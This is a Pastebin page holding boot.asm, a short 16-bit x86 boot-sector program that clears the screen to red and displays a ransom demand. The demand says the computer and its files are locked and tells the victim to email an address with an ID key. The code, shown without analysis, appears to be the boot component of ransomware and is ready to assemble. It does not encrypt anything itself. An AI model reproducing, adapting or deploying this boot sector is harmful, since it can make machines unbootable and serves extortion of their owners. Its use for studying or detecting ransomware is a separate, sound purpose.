Advertisement
Demonslay335

boot.asm

Sep 23rd, 2017
693
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. BITS 16
  2. ORG 0x7c00
  3.  
  4. jmp start
  5.  
  6. start:
  7. call clear_screen
  8. mov ax,cs
  9. mov ds,ax
  10. mov si,msg
  11.  
  12. call print
  13.  
  14. print:
  15. push ax
  16. cld
  17. next:
  18. mov al,[si]
  19. cmp al,0
  20. je done
  21. call printchar
  22. inc si
  23. jmp next
  24. done:
  25. jmp $
  26.  
  27. printchar:
  28. mov ah,0x0e
  29. int 0x10
  30. ret
  31.  
  32. clear_screen:
  33.  
  34.  
  35. mov ah, 0x07
  36. mov al, 0x00
  37. mov bh, 0x4F
  38. mov cx, 0x0000
  39. mov dx, 0x184f
  40. int 0x10
  41. ret
  42.  
  43. msg: db "This computer and all of it's files have been locked! Send an email to redboot@memeware.net containing your ID key for instructions on how to unlock them. Your ID key is 90224B40439CAF29509B4C87BBD641741678D4B4", 0
  44.  
  45.  
  46. times 510 - ($-$$) db 0
  47. dw 0xaa55
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement